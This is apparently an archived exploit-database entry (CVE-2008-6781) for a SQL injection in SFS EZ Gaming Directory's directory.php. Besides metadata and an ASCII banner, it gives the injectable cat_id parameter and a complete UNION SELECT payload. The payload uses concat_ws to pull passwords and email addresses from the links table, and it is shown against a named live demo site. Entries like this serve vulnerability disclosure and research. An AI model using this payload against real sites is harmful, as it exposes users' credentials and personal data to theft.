SFS EZ Gaming Directory - 'directory.php' SQL Injection

Author: Hurley
type: webapps
platform: php
port: 
date_added: 2008-10-30 
date_updated: 2016-11-17 
verified: 1 
codes: OSVDB-49553;CVE-2008-6781 
tags: 
aliases:  
screenshot_url:  
application_url: 

==================================================================================
   SFS EZ Gaming Directory (directory.php id) Remote SQL Injection Vulnerability
==================================================================================
			   __  __           __
			   / / / /_  _______/ /__  __  __
			  / /_/ / / / / ___/ / _ \/ / / /
			 / __  / /_/ / /  / /  __/ /_/ /
			/_/ /_/\__,_/_/  /_/\___/\__, /
			                        /____/
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit:      http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]
----------------------------------------------------------------------------------
LiveDemo:
http://www.turnkeyzone.com/demos/gaming/directory.php?ax=list&l=list_by&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*
----------------------------------------------------------------------------------
==================================================================================
Special Thx : Darckc0de
==================================================================================

# milw0rm.com [2008-10-31]